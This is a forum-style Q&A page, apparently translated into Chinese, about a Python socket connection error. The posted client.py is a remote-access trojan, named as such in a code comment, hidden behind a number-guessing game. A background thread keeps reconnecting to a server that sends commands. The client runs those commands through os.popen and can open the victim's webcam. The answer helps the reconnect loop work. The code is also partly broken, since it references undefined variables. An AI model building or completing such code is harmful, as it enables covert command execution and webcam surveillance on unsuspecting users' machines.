Python套接字无法建立连接

Question

为了运行我的代码，我需要在 client.py 之前运行 server.py 才能连接。我想让它在两个方向上都起作用，这样先发生什么都没关系。我设置了 try 和 except 块，但仍然收到 ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it 错误。

这是我的client.py：

import random
import socket
import threading
import sys
import os
from os import system, name
from time import sleep
import cv2


def commands():
    cmd_mode = False
    # Commands for the trojan
    if command == 'cmdon':
        cmd_mode = True
        client.send(
            'You now have terminal access!'.encode('utf-8'))
    if command == 'cmdoff':
        cmd_mode = False
    if cmd_mode:
        os.popen(command)
    else:
        if command == 'webcam':
            cap = cv2.VideoCapture(0)
            while True:
                ret, frame = cap.read()
                cv2.imshow('WebCam (Press enter to exit)', frame)
                if cv2.waitKey(1) & 0xFF == ord(' '):
                    break
            cap.release()
            cv2.destroyAllWindows()
    client.send(
        f'{command} was exectued successfully!'.encode('utf-8'))


def access():
    HOST = '127.0.0.1'
    PORT = 22262

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    while True:
        try:
            client.connect((HOST, PORT))
            commands()
        except Exception:
            client.connect((HOST, PORT))
            commands()


def game():
    number = random.randint(0, 1000)
    tries = 1
    done = False

    while not done:
        guess = int(input('Enter a guess: '))

        if guess == number:
            done = True
            print('You won!')
        else:
            tries += 1
            if guess > number:
                print('The actual number is smaller.')
            else:
                print('The actual number is larger.')
        print(f'You need {tries} tries!')


t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)

t1.start()
t2.start()

这是我的 server.py

import socket
from os import system, name


def clear():
    if name == 'nt':
        _ = system('cls')


HOST = ''
PORT = 22262

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))

server.listen()
client, address = server.accept()
server.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))


while True:
    print(f'Connected to {address}')
    cmd_input = input('Enter a command: ')
    client.send(cmd_input.encode('utf-8'))
    print(client.recv(1024).decode('utf-8'))

我的代码有什么问题？为什么except 块不处理错误并尝试重新连接？

Answer 1

发现哪里出了问题，我只好改了

 except Exception:
            client.connect((HOST, PORT))
            commands()

到

 except Exception:
            pass